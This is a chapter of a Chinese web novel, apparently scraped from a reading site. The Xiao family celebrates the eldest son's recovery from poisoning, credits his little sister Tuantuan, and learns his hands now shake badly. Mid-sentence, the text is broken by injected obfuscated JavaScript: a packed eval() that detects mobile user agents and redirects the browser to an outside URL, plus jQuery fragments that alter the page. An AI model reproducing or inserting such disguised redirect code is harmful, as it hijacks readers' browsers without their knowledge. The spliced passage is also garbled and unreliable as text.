母女二人走进养正轩时,家里其他人都已经到了,连老夫人都来了,正在感叹:“那千年雪参真是神物啊!如此灵验!这才服了两次,人就醒了!宗族保佑哦!” 团团进门大喊了一句:“祖祖!爹爹!二哥三哥,我来啦!“然后径直扑到了床边:“大哥哥!“ 萧宁远刚刚睁开眼,才起身靠在床头,猛地一个小团子扎了过来,不禁微微一惊:“你是谁啊?小姑娘?”好漂亮的小娃娃!这脸上的酒窝怎么跟母亲的这么像! 团团指着自己:“我是团团!你的妹妹哦!” 萧宁远有些困惑地看向家人:“妹……妹?” 萧元珩微笑点头:“团团是你的妹妹,咱家的小福星,这次你**昏迷,都是多亏了她,才能这么快就醒过来。” 萧宁辰和萧宁珣兄弟俩在一旁猛点头。 “**?”萧宁远皱起眉头:“我不是,积劳成疾又感染风寒吗?” 团团攥起小拳头挥舞了一下:“才不是呢!大哥哥,是有个很大的坏蛋,她害得你!” 萧宁远低头看着团团认真的小模样,唇角微微一勾:“是吗?原来是团团救了哥哥啊,哥哥谢谢你啊。” 团团望着他,大哥哥好温柔啊,说话的声音也好听! 萧宁远抬眼望向父亲:“父亲,那毒?……” 萧元珩哼了一声:“辰儿。” 萧宁辰连忙接口,将萧宁远吐血回家后的事情,一一说了一遍。 萧宁远看向团团的目光越发柔软:“原来,我的小妹妹这么有本事哪!” 团团得意地摇晃着小脑袋,爬上床,窝到了他的身旁:“大哥哥,你可醒啦!“ 萧宁远看向父亲,神色黯然:“父亲,周大海他?” 萧元珩道:“他吃里扒外,下毒暗害,已经随着赵衡夫妇关在刑部大牢了。” 萧宁远迟疑了一下,还是开了口:“周大海跟在儿子身边多年,尽心尽力,此次若不是受人胁迫,也不会如此。” “父亲,能否为他求个情,从轻发落?” “都是儿子未能及时察觉他的困境,若是我能……” “远儿。”萧元珩深深地看着他:“无论他出于何种原因,背叛主家,都是罪无可恕。” “你秉性良善,但有没有想过,若你这次没能救回来,为父这心里,又将如何?” 萧宁远低下了头。 程如安看了丈夫一眼,萧元珩明白她的意思,话锋一转:“他虽罪无可恕,但我可以派人去告诉他,今后他的家人,王府管了。” 萧宁远点了点头:“多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382722|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢父亲。” 团团看着他的侧脸,线条温和,皮肤白皙,又听到他和爹爹的对话,大哥哥人真好啊!那个坏蛋害了他,他还给他求情呢! 萧宁远环视了一圈家人,目光落在老夫人身上:“祖母,孙儿没事了,您年纪大了,久坐伤身,快回去歇息吧,等孙儿彻底好了,再去给您磕头请安。” 老夫人点了点头:“好生养着,莫要多想,回来就好,回来就好。”说完,扶着顺姑出去了。 萧宁珣端了一盏茶走到萧宁远面前:“大哥,喝一口润润吧。“ 萧宁远脸色骤变,目光躲闪:“放这儿吧,三弟,我一会儿再喝。“ 萧元珩没有忽略他的表情,眉头猛地皱了起来。 程如安起身坐到儿子床边,柔声轻问:“远儿,是不是你的手……“ 萧宁远面色沉重,垂下了头。 “大哥哥,你的手怎么啦?“团团不明白了,低头找他的手,这才发觉,他的两只手始终都藏在被子里,根本看不到。 萧宁远犹豫了半晌,终于开口:“我的手,自从几年前开始发抖,以至无法执笔书写,还好勉强能自行更衣用膳。“ “但刚才醒来后,我发觉。“他抬起头看向自己的家人,把两只手从被子里拿了出来,竟然都在不停地剧烈颤抖。 他看着自己的双手,惨然一笑:“抖得更加厉害,竟连这些,都做不到了。” “大哥!”萧宁辰和萧宁珣异口同声地喊了出来。 程如安的眼泪一下便忍不住了:“怎么会这样……” 萧宁远将双手放在床上,没再隐藏:“都是儿子不孝,令母亲伤心了。请父亲母亲不必放在心上,这都是……我的命。” 又看向弟弟们:“二弟三弟,以后王府要靠你们了,大哥……已经废了。” 萧宁辰和萧宁珣低下了头,想说什么却说不出来。 萧元珩绷紧了面孔,程如安泪如泉涌。 团团满脸心疼的看着萧宁远,大哥哥的手怎么了?大哥哥人这么好,为什么要说自己废了呢?